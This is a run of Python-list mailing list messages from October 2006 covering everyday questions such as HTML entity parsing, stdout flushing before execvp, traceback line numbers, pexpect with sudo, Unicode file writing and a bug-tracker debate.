"K. Jansma" <spam_me at yahoo.com> wrote in message 
news:12issm3bfcmh15e at corp.supernews.com...
> given an array:
>
> import numpy
> a = numpy.arange(100).reshape((10,10))
> print a

Numpy questions are best asked on the numpy mailing list. 





From gagsl-py at yahoo.com.ar  Thu Oct 19 23:24:21 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Fri, 20 Oct 2006 00:24:21 -0300
Subject: Default location while open an Excel file
In-Reply-To: <1161313718.200425.130220@i3g2000cwc.googlegroups.com>
References: <1161313718.200425.130220@i3g2000cwc.googlegroups.com>
Message-ID: <7.0.1.0.0.20061020001946.05bc04b0@yahoo.com.ar>

At Friday 20/10/2006 00:08, Johnny wrote:

>doc.Workbooks.Open(excelFile, ReadOnly=True)
>
>    But the problem is when I only pass the filename to the Open()
>method, and of course the file is in the current directory, it will
>throw an exception that the specified file can't be found. When I use
>os.path.abspath(excelFile) instead, it works. But I do know that
>somebody can only pass a filename, and no exception is raised. Now I
>wonder is that because the "somebody" happen to put the file on the
>default location of the Open() method? If so, does any one know the
>default location?

Why don't you want to use an absolute path? It's safe, will always 
work... What if Excel, for whatever reason, decides to start the Open 
dialog pointing to another location? What if your script does not 
have permission to write on such location?


-- 
Gabriel Genellina
Softlab SRL 

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
?Abr? tu cuenta ya! - http://correo.yahoo.com.ar


From paul at boddie.org.uk  Tue Oct  3 05:59:26 2006
From: paul at boddie.org.uk (Paul Boddie)
Date: 3 Oct 2006 02:59:26 -0700
Subject: CGI -> mod_python
References: <1159852046.487836.266980@m7g2000cwm.googlegroups.com>
Message-ID: <1159869566.882970.228690@m73g2000cwd.googlegroups.com>

bernhard.heinzel at gmail.com wrote:
>
> it is a kind of nooby question. Is there a way to transfer a CGI python
> script to mod_python without rewriting the code?

Had you used WebStack [1] to begin with, this migration would involve
changing a few lines of glue code. However, as others have pointed out,
WSGI may be an appropriate API to target for a modest rewrite of the
code, given substantial resemblances to aspects of the CGI API.

Paul

[1] http://www.python.org/pypi/WebStack



From martin.witte at gmail.com  Mon Oct 30 13:12:39 2006
From: martin.witte at gmail.com (wittempj@hotmail.com)
Date: 30 Oct 2006 10:12:39 -0800
Subject: How to convert "&nbsp;" in a string to blank space?
In-Reply-To: <1162230252.927146.85800@b28g2000cwb.googlegroups.com>
References: <1162229197.315384.79940@f16g2000cwb.googlegroups.com>
	<mailman.1499.1162229880.11739.python-list@python.org>
	<1162230252.927146.85800@b28g2000cwb.googlegroups.com>
Message-ID: <1162231959.005310.239030@k70g2000cwa.googlegroups.com>



On Oct 30, 6:44 pm, "???" <newpt... at gmail.com> wrote:
> Oh, I didn't make myself clear.
>
> What I mean is how to convert a piece of html to plain text bu keep as
> much format as possible.
>
> Such as convert "&nbsp;" to blank space and convert <br> to "\r\n"
>

Then you can explore the parser,
http://docs.python.org/lib/module-HTMLParser.html, like

#!/usr/bin/env python
from HTMLParser import HTMLParser

parsedtext = ''

class Parser(HTMLParser):
    def handle_starttag(self, tag, attrs):
        if tag == 'br':
            global parsedtext
            parsedtext += '\\r\\n'

    def handle_data(self, data):
        global parsedtext
        parsedtext += data

    def handle_entityref(self, name):
        if name == 'nbsp':
            pass

x = Parser()
x.feed('An &nbsp; text<br>')
print parsedtext


> Gary Herron wrote:
> > ??? wrote:
> > > Is there any simple way to solve this problem?
>
> > Yes, strings have a replace method:
>
> > >>> s = "abc&nbsp;def"
> > >>> s.replace('&nbsp;',' ')
> > 'abc def'
>
> > Also various modules that are meant to deal with web and xml and such
> > have functions to do such operations.
> 
> > Gary Herron



From dakman at gmail.com  Tue Oct 17 14:47:38 2006
From: dakman at gmail.com (dakman at gmail.com)
Date: 17 Oct 2006 11:47:38 -0700
Subject: stdout not flushed before os.execvp()
In-Reply-To: <4pk88nFjc1puU1@individual.net>
References: <4pk88nFjc1puU1@individual.net>
Message-ID: <1161110858.219753.151160@m73g2000cwd.googlegroups.com>

If you wanted to make sure stdio was flushed you could always do...

sys.stdout.write("Message\n")
sys.stdout.flush()

Thomas Guettler wrote:
> Hi,
>
> I noticed, that sys.stout does not get flushed before the process is
> replaced. The last print statements (before execvp()) disappear.
>
> It only happens, if the output is redirected to a file (if sys.stdout is
> not line buffered).
>
> """#testexec.py
> import os
> print "Messsage"
> os.execvp("/bin/true", ["/bin/true"])
> """
>
> ===> python tmp/testexec.py
> Messsage
>
> ===> python tmp/testexec.py  > out ; cat out
>
>
> Is this a bug or feature?
>
> My version:
> Python 2.4.2 (#1, May  2 2006, 08:28:01)
> GCC 4.1.0 (SUSE Linux)] on linux2
>
>
> --
> Thomas G?ttler, http://www.thomas-guettler.de/ http://www.tbz-pariv.de/
> E-Mail: guettli (*) thomas-guettler + de
> Spam Catcher: niemand.leermann at thomas-guettler.de



From http  Wed Oct 25 22:29:11 2006
From: http (Paul Rubin)
Date: 25 Oct 2006 19:29:11 -0700
Subject: question about True values
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<17727.47016.632530.720950@montanaro.dyndns.org>
	<ehoqhe$6iq$3@sea.gmane.org> <ehp32i$u1$1@sea.gmane.org>
	<7.0.1.0.0.20061025224858.05f2ea40@yahoo.com.ar>
	<mailman.1232.1161829348.11739.python-list@python.org>
Message-ID: <7xfydbhkso.fsf@ruckus.brouhaha.com>

Steve Holden <steve at holdenweb.com> writes:
> Gabriel Genellina wrote:
> > Just for fun:
> > buffer('')
> > frozenset()
> > iter(())
> > xrange(0)

I get that iter(()) is True (Python 2.3.4).

> [Steve:] There's still a very obvious omission ...

Hehehe...


From simonharrison at fastmail.co.uk  Sat Oct  7 11:57:08 2006
From: simonharrison at fastmail.co.uk (simonharrison at fastmail.co.uk)
Date: 7 Oct 2006 08:57:08 -0700
Subject: Help with first script please. files, directories, autocomplete
In-Reply-To: <1160236545.779687.136980@c28g2000cwb.googlegroups.com>
References: <1160236545.779687.136980@c28g2000cwb.googlegroups.com>
Message-ID: <1160236628.158648.232230@i3g2000cwc.googlegroups.com>

Forgot to mention I'm using python 2.5 on windows xp.



From fredrik at pythonware.com  Wed Oct  4 17:07:54 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 04 Oct 2006 23:07:54 +0200
Subject: What value should be passed to make a function use the default
	argument value?
In-Reply-To: <eg17jd$gsr$1@news.albasani.net>
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>	<7xwt7gqwb3.fsf@ruckus.brouhaha.com>	<slrnei7235.55m.apardon@rcpc42.vub.ac.be>	<7xac4cpefr.fsf@ruckus.brouhaha.com>	<slrnei73f7.55m.apardon@rcpc42.vub.ac.be>	<eg03un$se8$1@news.albasani.net>	<slrnei75t2.55m.apardon@rcpc42.vub.ac.be>	<7xhcyk2u1z.fsf@ruckus.brouhaha.com>
	<eg17jd$gsr$1@news.albasani.net>
Message-ID: <eg17ra$589$1@sea.gmane.org>

Georg Brandl wrote:

> This is an issue in most Python documentation: you're not told
> if the described function is implemented in C, and if it is
> keyword arg-enabled. The arguments must be given names though,
> to be able to document them.

the general rule is that if the documentation doesn't explicitly say 
that something is a keyword argument, it isn't, and shouldn't be treated 
as such.

</F>



From scott.daniels at acm.org  Wed Oct 11 13:40:39 2006
From: scott.daniels at acm.org (Scott David Daniels)
Date: Wed, 11 Oct 2006 10:40:39 -0700
Subject: 3D Vector Type Line-Drawing Program
In-Reply-To: <8xYWg.5851$fl.4129@dukeread08>
References: <42BWg.21264$Ij.16505@newssvr14.news.prodigy.com>
	<qbBWg.21268$Ij.20727@newssvr14.news.prodigy.com>
	<452b17a7$1@nntp0.pdx.net> <8xYWg.5851$fl.4129@dukeread08>
Message-ID: <452d2474$1@nntp0.pdx.net>

Ron Adam wrote:
> Scott David Daniels wrote:
>> James Stroud wrote:
>>>> I'm looking for a program to do line-drawings in 3d, with output to 
>>>> postscript or svg or pdf, etc. I would like to describe a scene with 
>>>> certain 1-3d elements oriented in 3d space with dashed or colored 
>>>> lines and filled or transparent surfaces (or maybe semitransparent).
>>
>>
>> Take a look at VPython -- easy to start, 3-D display (wall-eye /
>> cross-eye) easy to run on.
> 
> I really like VPython because of how easy it is to use once you are 
> familiar with it.
> 
> Is there a way to have the display show a wire frame image instead of 
> shaded shapes?
You can draw the edges as lines.

 > And with or without hidden line removal?
Not that I know of.  The distinction would be whether you actually build
the objects.  Certainly for something like this you would be working
with something like a "faces" object rather than a fully 3-D object.

> Is there an easy way to convert a display to something that can be printed?

You can generate POV-ray source.  This is not a system for creating
beautiful pictures, but rather a great 3-D sketch pad.


--Scott David Daniels
scott.daniels at acm.org


From paul at boddie.org.uk  Thu Oct 12 17:44:16 2006
From: paul at boddie.org.uk (Paul Boddie)
Date: 12 Oct 2006 14:44:16 -0700
Subject: Python component model
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<pan.2006.10.09.18.24.45.251048@gmx.net>
	<452b7aae$0$306$426a74cc@news.free.fr> <eghai4$615$1@online.de>
	<1160562945.079609.98640@m7g2000cwm.googlegroups.com>
	<12itd1as7dg9jdd@corp.supernews.com>
Message-ID: <1160689455.771396.178430@h48g2000cwc.googlegroups.com>

Ed Jensen wrote:
> Paul Boddie <paul at boddie.org.uk> wrote:
> > People who bring up stuff about self and indentation are just showing
> > their ignorance
>
> Ouch.  That stings.
>
> Python's "indentation determines scope" makes it hard for me to discuss
> Python via mediums like IRC and instant messengers.

True, especially with the helpful first line indentation in some
messengers.

> It also makes it hard to quickly jump to the top and/or bottom of
> code blocks in most editors I use on a day to day basis.

I'm not at the cutting edge here: 20j and 20k are the commands (replace
20 with another suitable amount) which help me jump around in my editor
of choice. The other commands which may be more effective just aren't
in my "working set".

> I guess I'm just ignorant.  :(

Don't be too hard on yourself, Ed! I was really referring to people who
make a big advocacy issue out of self (eg. "Python isn't
object-oriented - it has self parameters!") and indentation (eg.
"Python's just like Fortran!"). You're just pointing out the issues
that regrettably make communication of Python programs difficult.

Paul



From haraldarminmassa at gmail.com  Wed Oct  4 05:03:28 2006
From: haraldarminmassa at gmail.com (GHUM)
Date: 4 Oct 2006 02:03:28 -0700
Subject: python html rendering
In-Reply-To: <mailman.1200.1159912518.10491.python-list@python.org>
References: <mailman.1200.1159912518.10491.python-list@python.org>
Message-ID: <1159952608.259941.100650@c28g2000cwb.googlegroups.com>

Pierre,

> Hi, Im looking for a way to display some python code
> in html: with correct indentation, possibly syntax hiliting, dealing
> correctly with multi-line comment,

<tongue - in - cheek - mode>
the usual way is to create your own web-framework
</tongue - in - cheek - mode>

If it is just "some" Python code and you have to do it "once", just
look at scite. Scite can colour your code, and you can export it as
HTML.

Harald



From fredrik at pythonware.com  Tue Oct 17 04:56:54 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 17 Oct 2006 10:56:54 +0200
Subject: a question about s[i:j] when i is negative
References: <1161066186.490960.326230@m73g2000cwd.googlegroups.com><mailman.613.1161066872.11739.python-list@python.org>
	<1161073613.545245.248040@f16g2000cwb.googlegroups.com>
Message-ID: <eh25sm$or4$1@sea.gmane.org>

"dracula571" wrote:

>> dracula571 wrote:
>>
>> > but k[-6:2] = [1,2]
>> > why k[-6:2] is [1,2]not [].i do follow (3),to make i positive by
>> > plusing len(k) twice.
>>
>> twice?
>
> that is -6 + len(k) + len(k) =4

sure, but what makes you think you should add the length twice?

</F> 





From hpsekhon at googlemail.com  Thu Oct  5 07:09:35 2006
From: hpsekhon at googlemail.com (Hari Sekhon)
Date: Thu, 05 Oct 2006 12:09:35 +0100
Subject: excepthook doesn't give exact line number
In-Reply-To: <eftt06$sro$03$1@news.t-online.com>
References: <mailman.1164.1159880567.10491.python-list@python.org>
	<eftt06$sro$03$1@news.t-online.com>
Message-ID: <4524E7EF.7080506@googlemail.com>

I've tried the sample code you provided but it seems to just hang, it 
must be doing something but unfortunately it must take too long, by 
which time a second control-c gives an awful dual traceback message 
showing the original traceback and the new one from the tbiter() func.

I've tried a few variations since yesterday but unfortunately those 2 
funcs take too long to run to make a viable solution and the script ends 
up hanging on an uncaught exception.

If anybody has any improvements, suggestions or alternatives for getting 
the proper line number and traceback message inside an excepthook then 
I'd be grateful to hear them.

-h

Hari Sekhon



Peter Otten wrote:
> Hari Sekhon wrote:
>
>   
>> The problem is that the excepthook gives the line of the topmost called
>> function rather that the actual line that generated the error the way
>> you get it with a normal traceback.
>>     
>
> A look into the traceback module shows that tracebacks are stored as a
> linked list. Here's a way to get hold of its tail:
>
> def tbiter(tb):
>     while tb is not None:
>         yield tb
>         tb = tb.tb_next
>
> def last(items):
>     for  item in items:
>         pass
>     return item
>
> # example usage
> def myexcepthook(type, value, tb):
>     tb_tail = last(tbiter(tb))
>     print tb_tail.tb_lineno
>  
> Peter
>   
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From http  Thu Oct  5 04:57:56 2006
From: http (Paul Rubin)
Date: 05 Oct 2006 01:57:56 -0700
Subject: Python/Tkinter crash.
References: <mailman.1242.1159951684.10491.python-list@python.org>
	<rowen-E7230A.11154804102006@gnus01.u.washington.edu>
	<mailman.1329.1160037609.10491.python-list@python.org>
Message-ID: <7xlknv6sx7.fsf@ruckus.brouhaha.com>

"Hendrik van Rooyen" <mail at microcorp.co.za> writes:
> I am not sure how to do this - once I have called the Tkinter
> mainloop - that main thread is essentially event driven - and
> figuring out how to get it to poll a queue for content is not
> obvious - I suppose I could arrange some external wake up event that
> I could activate to make it look at the queue - must read up on
> this...

http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/82965


From sittner at lkb.ens.fr  Mon Oct 23 18:38:23 2006
From: sittner at lkb.ens.fr (sittner at lkb.ens.fr)
Date: Tue, 24 Oct 2006 00:38:23 +0200 (CEST)
Subject: pretty basic instantiation question
In-Reply-To: <mailman.2408.1161640980.11738.python-list@python.org>
References: <mailman.2408.1161640980.11738.python-list@python.org>
Message-ID: <44032.81.67.94.4.1161643103.squirrel@mailgate.phys.ens.fr>

i'm very new to python, but i have a pretty basic question:
let's say i have a class, and i need to create a different number of
instances (changes every time - and i can't know the number in advance) in
a loop.
a function receives the number of instances that are needed, and creates
them like,
a=Myclass()
b=Myclass()
.
.
.
.
.
.

what's the easiest way to go about this?

thanks,
A



From bignose+hates-spam at benfinney.id.au  Wed Oct 25 07:58:47 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Wed, 25 Oct 2006 21:58:47 +1000
Subject: dict problem
References: <mailman.1163.1161770037.11739.python-list@python.org>
	<1161772147.307847.65630@h48g2000cwc.googlegroups.com>
Message-ID: <87y7r4mwso.fsf@benfinney.id.au>

"Jon Clements" <joncle at googlemail.com> writes:

> We're still in the dark as to what you're trying to do, try
> describing something like: "for each element there is an associated
> 'F' value. For each element in an existing molecule I wish to change
> the number of 'whatever' to be 'whatever' + my 'F' value * value
> XDS..."

Even better, work on a minimal program to do nothing but reproduce the
unexpected behaviour. If you get to such a program and still don't
understand, then post it here so others can run it themselves and
explain.

-- 
 \     "A cynic is a man who, when he smells flowers, looks around for |
  `\                                   a coffin."  -- Henry L. Mencken |
_o__)                                                                  |
Ben Finney



From zeng at adobe.com  Mon Oct  2 17:29:54 2006
From: zeng at adobe.com (Ted Zeng)
Date: Mon, 2 Oct 2006 14:29:54 -0700
Subject: php and python: how to unpickle using PHP?
In-Reply-To: <4521721B.9040002@vtxmail.ch>
Message-ID: <454FD769B559DD4BAC93B2CCA7BEBDBE8AD13A@namail2.corp.adobe.com>

Hi, 

I store some test results into a database after I use python
To pickle them (say, misfiles=['file1','file2'])

Now I want to display the result on a web page which uses PHP.
How could the web page unpickle the results and display them?
Is there a PHP routine that can do unpickle ?

Ted zeng



From cfbolz at gmx.de  Fri Oct 13 13:09:36 2006
From: cfbolz at gmx.de (Carl Friedrich Bolz)
Date: Fri, 13 Oct 2006 19:09:36 +0200
Subject: IDE that uses an external editor?
In-Reply-To: <17711.51000.610108.986578@montanaro.dyndns.org>
References: <17711.51000.610108.986578@montanaro.dyndns.org>
Message-ID: <452FC850.2030308@gmx.de>

skip at pobox.com wrote:
> One thing that's kept me from even looking at IDEs is that to the best of my
> knowledge none of them will integrate properly with external editors like
> Emacs or vi.  I know lots of tools support "Emacs-like keybindings", but
> believe me, I've never found one that does a decent job of that.  There is
> just so much more to powerful editors like Emacs or vi than a handful of
> cursor movement commands.  Once a person is proficient they generally won't
> accept substitutes.
> 
> So, please prove me wrong.  Are there any IDEs that will actually work with
> an external instance of Emacs (either by firing it up or by using a remote
> connection program like gnuclient)?

I have never actually used it, but this project seems to integrate Vi
and other external editors:

http://pida.berlios.de/

Cheers,

Carl Friedrich Bolz



From georgeryoung at gmail.com  Wed Oct 18 07:48:28 2006
From: georgeryoung at gmail.com (georgeryoung at gmail.com)
Date: 18 Oct 2006 04:48:28 -0700
Subject: Flexable Collating (feedback please)
In-Reply-To: <35kZg.6681$fl.2685@dukeread08>
References: <35kZg.6681$fl.2685@dukeread08>
Message-ID: <1161172108.276347.134020@h48g2000cwc.googlegroups.com>



On Oct 18, 2:42 am, Ron Adam <r... at ronadam.com> wrote:
> I put together the following module today and would like some feedback on any
> obvious problems.  Or even opinions of weather or not it is a good approach.
,,,
     def __call__(self, a, b):
         """ This allows the Collate class work as a sort key.

                 USE: list.sort(key=Collate(flags))
         """
         return cmp(self.transform(a), self.transform(b))

You document _call__ as useful for the "key" keyword to sort, but you
implement it for the "cmp" keyword.  The "key" allows much better
performance, since it's called only once per value.  Maybe just :
return self.transform(a)

-- George



From wccppp at gmail.com  Sun Oct 15 04:27:35 2006
From: wccppp at gmail.com (wcc)
Date: 15 Oct 2006 01:27:35 -0700
Subject: Need a function. Any built-in function or module for this?
In-Reply-To: <7x7iz2cs0v.fsf@ruckus.brouhaha.com>
References: <1160872724.767973.85150@m7g2000cwm.googlegroups.com>
	<7x7iz2cs0v.fsf@ruckus.brouhaha.com>
Message-ID: <1160900855.649500.29110@m7g2000cwm.googlegroups.com>

Thanks you very much Paul.  I think I have a little more homework to
do.
1. The upper case letter may not be the first letter in each word.
2. There may be more than one (continous) upper case letters in one
word.
I just wanted to find out if there is something already there in python
built-in functions, modules.  Thanks again.



From george.sakkis at gmail.com  Mon Oct 23 11:29:12 2006
From: george.sakkis at gmail.com (George Sakkis)
Date: 23 Oct 2006 08:29:12 -0700
Subject: Set operations in Numeric
Message-ID: <1161617351.740540.37590@b28g2000cwb.googlegroups.com>

Is there a way to handle numeric (or numarray or numpy) arrays as sets
and compute efficiently their intersection, union, etc. ? I hope there
is a faster way than s = array(set(A) & set(B)). Can this be done with
masked arrays maybe ? I've never used them though and browsing through
the docs didn't make clear if it is possible.

Thanks,
George



From lycka at carmen.se  Fri Oct 27 09:12:01 2006
From: lycka at carmen.se (Magnus Lycka)
Date: Fri, 27 Oct 2006 15:12:01 +0200
Subject: Restricting import file lookup for pyd, dll, ...
In-Reply-To: <mailman.798.1161308326.11739.python-list@python.org>
References: <61d0e2b40610191438w9ba0693y8896bebc3441069a@mail.gmail.com>	<7.0.1.0.0.20061019184812.05aafe78@yahoo.com.ar>
	<mailman.798.1161308326.11739.python-list@python.org>
Message-ID: <eht0j1$rt3$1@wake.carmen.se>

Bernard Lebel wrote:
> Hi,
> 
> That's because I'm using Python through another application, via the
> pywin32 extensions. When that other application starts, it performs
> several thousands of file requests (we're talking 4,500, roughly) in
> the Python installation, locations where there are Python files, and
> in some other locations that don't make sense. This adds considerable
> time to the startup time of the application, we're talking between 2
> and 9 seconds.

Sounds like a broken (networked?) file system. The only time I've
had that kind of problems with python startup is when I've had really
slow anti-virus programs that scanned all the files I opened. But then
it wasn't file requests that mattered, but actually opening them...
It still wasn't anywhere near 9 seconds though...


From trentm at activestate.com  Thu Oct 19 17:06:53 2006
From: trentm at activestate.com (Trent Mick)
Date: Thu, 19 Oct 2006 14:06:53 -0700
Subject: Help: Python2.3 & Python2.4 on RHEL4 x86_64
In-Reply-To: <2590773a0610181033u2305767eoc7684361867c53c7@mail.gmail.com>
References: <2590773a0610181033u2305767eoc7684361867c53c7@mail.gmail.com>
Message-ID: <4537E8ED.2060908@activestate.com>

Christopher Taylor wrote:
> RHEL comes with Python2.3 installed.  A program I need to install
> requires Python2.4

ActivePython has a 2.4 build for Linux/x86_64:

http://www.activestate.com/Products/ActivePython/

Cheers,
Trent

-- 
Trent Mick
trentm at activestate.com


From dwelch91 at gmail.com  Tue Oct 17 15:32:24 2006
From: dwelch91 at gmail.com (dwelch91 at gmail.com)
Date: 17 Oct 2006 12:32:24 -0700
Subject: Using pexpect with 'sudo'
Message-ID: <1161113544.260374.310800@k70g2000cwa.googlegroups.com>

I'm having a problem using pexpect with 'sudo' on Ubuntu 6.06 (Dapper).
Here's the program:

#!/usr/bin/env python
import pexpect
import sys

child = pexpect.spawn("sudo apt-get update")
child.logfile = sys.stdout

try:
    i = child.expect(["Password:", pexpect.EOF, pexpect.TIMEOUT])

    if i == 0:
        print "****************************** sending password"
        child.sendline("XXX") # Not my real sudo password
    elif i == 1:
        print "EOF"

    elif i == 2:
        print "TIMEOUT"

except Exception:
    print "Exception"

The strange thing is that this script runs with no problems (downloads
the repository updates), even though it should fail. It never prints
the "****************************** sending password" line, and even if
it did write the password to the process, it isn't the correct
password. I've done this after a 'sudo -k' to clear the sudo password,
and if I run 'sudo apt-get update' from the command line manually, it
asks for the password every time.

I I change the spawn to:

child = pexpect.spawn("sudo -u <my user name here> apt-get update")

it fails with:

E: Could not open lock file /var/lib/apt/lists/lock - open (13
Permission denied)
E: Unable to lock the list directory

which is expected.

If I'm not going crazy, this seems like a security hole that allows a
user to run any system command without a superuser password.

Any ideas?

Thanks,

Don



From paul at boddie.org.uk  Sun Oct  8 10:53:42 2006
From: paul at boddie.org.uk (Paul Boddie)
Date: 8 Oct 2006 07:53:42 -0700
Subject: Encoding and norwegian (non ASCII) characters.
References: <1160252959.777111.100090@h48g2000cwc.googlegroups.com>
Message-ID: <1160319222.451617.151390@i3g2000cwc.googlegroups.com>

joakim.hove at gmail.com wrote:
>
> I am having great problems writing norwegian characters ??? to file
> from a python application. My (simplified) scenario is as follows:
>
> 1. I have a web form where the user can enter his name.
>
> 2. I use the cgi module module to get to the input from the user:
>     ....
>     name = form["name"].value

The cgi module should produce plain strings, not Unicode objects, which
makes some of the later behaviour quite "interesting".

> 3. The name is stored in a file
>
>     fileH = open(namefile , "a")
>     fileH.write("name:%s \n" % name)
>     fileH.close()
>
> Now, this works very well indeed as long the users have 'ascii' names,
> however when someone enters a name with one of the norwegian characters
> ??? - it breaks at the write() statement.
>
>    UnicodeDecodeError: 'ascii' codec can't decode byte 0x8f in position

This is odd, since writing plain strings to files shouldn't involve any
Unicode conversions. If you received a plain string from the cgi
module, the text you write to the file should still be a plain string.
This is like obtaining a sequence of bytes and just passing them
around. Perhaps your Python configuration is different in some
non-standard way, although I wouldn't want to point the finger at
anything in particular (although sys.getdefaultencoding might suggest
something).

> Now - I understand that the ascii codec can't be used to decode the
> particular characters, however my attempts of specifying an alternative
> encoding have all failed.
>
> I have tried variants along the line:
>
>    fileH = codecs.open(namefile , "a" , "latin-1") / fileH = open(namefile , "a")
>    fileH.write(name)   /    fileH.write(name.encode("latin-1"))
>
> It seems *whatever* I do the Python interpreter fails to see my pledge
> for an alternative encoding, and fails with the dreaded
> UnicodeDecodeError.

To use a file opened through codecs.open, you really should present
Unicode objects to the write method. Otherwise, I imagine that the
method will try and automatically convert to Unicode the plain string
that the name object supposedly is, and this conversion will assume
that the string only contains ASCII characters (as is Python's default
behaviour) and thus cause the error you are seeing. Only after getting
the text as a Unicode object will the method then try to encode the
text in the specified encoding in order to write it to the file.

In other words, you'll see this behaviour:

  name (plain string) -> Unicode object -> encoded text (written to
file)

Or rather, in the failure case:

  name (plain string) -> error! (couldn't produce the Unicode object)

As Peter Otten suggests, you could first make the Unicode object
yourself, stating explicitly that the name object contains "latin-1"
characters. In other words:

  name (plain string) -> Unicode object

Then, the write method has an easier time:

  Unicode object -> encoded text (written to file)

All this seems unnecessary for your application, I suppose, since you
know (or believe) that the form values only contain "latin-1"
characters. However, as is the standard advice on such matters, you may
wish to embrace Unicode more eagerly, converting plain strings to
Unicode as soon as possible and only converting them to text in various
encodings when writing them out.

In some Web framework APIs, the values of form fields are immediately
available as Unicode without any (or much) additional work. WebStack
returns Unicode objects for form fields, as does the Java Servlet API,
but I'm not particularly aware of many other Python frameworks which
enforce or promote such semantics.

Paul



From luuk at invalid.lan  Sat Oct 28 04:51:36 2006
From: luuk at invalid.lan (Luuk)
Date: Sat, 28 Oct 2006 10:51:36 +0200
Subject: Need help (Basic python)...what did I do wrong?
References: <1162024619.913197.302700@m73g2000cwd.googlegroups.com>
Message-ID: <45431a14$0$337$e4fe514c@news.xs4all.nl>


"frankie_85" <steveadi at gmail.com> schreef in bericht 
news:1162024619.913197.302700 at m73g2000cwd.googlegroups.com...
> Hi everyone,
>
> I just made a simple code which is part of my assignment but I can't
> figure it out what's wrong with it. (always give me error messages)
>
> What the code basically does is:
>
> a function that takes one floating point number x as its argument and
> returns (the square root of the absolute value of x) plus (5 times x
> cubed).
>
> and read 5 floating point values from the user into a list then apply
> the function to each value in the list and print the results in reverse
> order.
>
> --------------------------------------------------------------------------------------------
> import math
>
> print "Enter 5 values:"
> a = float(raw_input())
> b = float(raw_input())
> c = float(raw_input())
> d = float(raw_input())
> e = float(raw_input())
>
> def funct(a, b, c, d, e):
>    a_1 = math.sqrt(math.fabs(a)) + 5((math.pow(a,3)))
>    b_2 = math.sqrt(math.fabs(b)) + 5((math.pow(b,3)))
>    c_3 = math.sqrt(math.fabs(c)) + 5((math.pow(c,3)))
>    d_4 = math.sqrt(math.fabs(d)) + 5((math.pow(d,3)))
>    e_5 = math.sqrt(math.fabs(e)) + 5((math.pow(e,3)))
>    return a_1
>    return b_2
>    return c_3
>    return d_4
>    return e_5
>    print e_5, d_4, c_3, b_2, a_1
>
>
>
> funct(a, b, c, d, e)
>
>
> --------------------------------------------------------------------------------------------
>
> it always gives me these error messages:
>
> Traceback (most recent call last):
>  File "/Users/x/Documents/test3.py", line 25, in <module>
>    funct(a, b, c, d, e)
>  File "/Users/x/Documents/test3.py", line 11, in funct
>    a_1 = math.sqrt(math.fabs(a)) + 5((math.pow(a,3)))
> TypeError: 'int' object is not callable
>
> What did I do wrong? Please help me
>
> Thanks in advance
>


obviously the error is in the line "a_1 = math.sqrt(math.fabs(a)) + 
5((math.pow(a,3)))"

try changin this to "a_1 = math.sqrt(math.fabs(a)) + 5*math.pow(a,3)"

because you seem to want 5 time the result of the pow() function






From gagsl-py at yahoo.com.ar  Thu Oct  5 01:35:41 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Thu, 05 Oct 2006 02:35:41 -0300
Subject: Definition of '1j'?
In-Reply-To: <1160008999.142645.67250@k70g2000cwa.googlegroups.com>
References: <1160008999.142645.67250@k70g2000cwa.googlegroups.com>
Message-ID: <7.0.1.0.0.20061005022322.054c1b10@yahoo.com.ar>

At Wednesday 4/10/2006 21:43, stephenhicks at gmail.com wrote:

>I'm wondering how/where the syntax for, e.g., 1j is defined.  Is it
>something I can define myself?  In particular, I make very heavy use of

Nope - it's hardcoded inside the parser (see tokenizer.c)

>a complex unit other than j (I'll call it 1k=exp(pi*1j/3)), and it
>would be terribly convenient to make my own complex class based on this
>unit, which would construct and display results in this form, i.e.
> >>> (1+2k)*1k
>-2+3k
>
>It's not a terrible inconvenience if this is not possble, since I can
>just define K=mycomplex(0,1), but I really do like the 1j notation, and
>the problem with the other notation is that K could easily get
>overwritten (and thus suggests I need a better name), while 1k would
>take intention to mess up.

For a thing like 3k to be recognized as a complex number I'm afraid 
the only option would be to modify the Python sources.



Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From raNOsky at deveSPAMler.com  Wed Oct  4 13:15:36 2006
From: raNOsky at deveSPAMler.com (Giovanni Bajo)
Date: Wed, 4 Oct 2006 19:15:36 +0200
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it><7xk63h232z.fsf@ruckus.brouhaha.com>
	<eftfoe$l8n$1@sea.gmane.org><mailman.1155.1159876666.10491.python-list@python.org><mailman.1163.1159879479.10491.python-list@python.org><fxJUg.134222$zy5.1829414@twister1.libero.it><ue6dnQBgEPPCMr7YnZ2dnUVZ_rqdnZ2d@speakeasy.net><eg0bo2$obu$1@nnrp.ngi.it>
	<mailman.1276.1159977112.10491.python-list@python.org>
Message-ID: <eg0q7a$u0e$1@nnrp.ngi.it>

skip at pobox.com wrote:

>     Giovanni> In fact, are you absolutely positive that you need so
>     much Giovanni> effort to maintain an existing bugtracker
> installation?
>
> The development group's experience with SF and I think to a lesser
> extent, Roundup in its early days, and more generally with other
> components of the development toolchain (source code control) and
> python.org website maintenance suggests that some human needs to be
> responsible for each key piece of technology.  Maybe when it's mature
> it needs very little manpower to maintain, but a substantial
> investment is required when the technology is first installed.

One thing is asking for a special help during the transition phase and the
"landing" phase (the first few months). Another thing is asking for "roughly
6-10 people" to install and maintain a Roundup installation. This is simply
not going to realistically happen, and I find it incredible for the PSF
committee to ask for such a high request. Damn, we don't have "roughly 6-10
people" in charge of reviewing patches or fixing bugs.

I followed the GNATS -> Bugzilla transition myself closely, and a single
person (Daniel Berlin) was able to setup the Bugzilla server on the
gcc.gnu.org computer, convince everybody that a transition was needed (and
believe me, this was a hard work), patch it as much as needed to face the
needs of the incredibly picky GCC developers (asking for every little
almost-unused-and-obsoleted feature in GNATS to be replicated in Bugzilla),
and later maintain the installation. It took him approximately one year to
do this, and surely it wasn't full time. After that, he maintains and
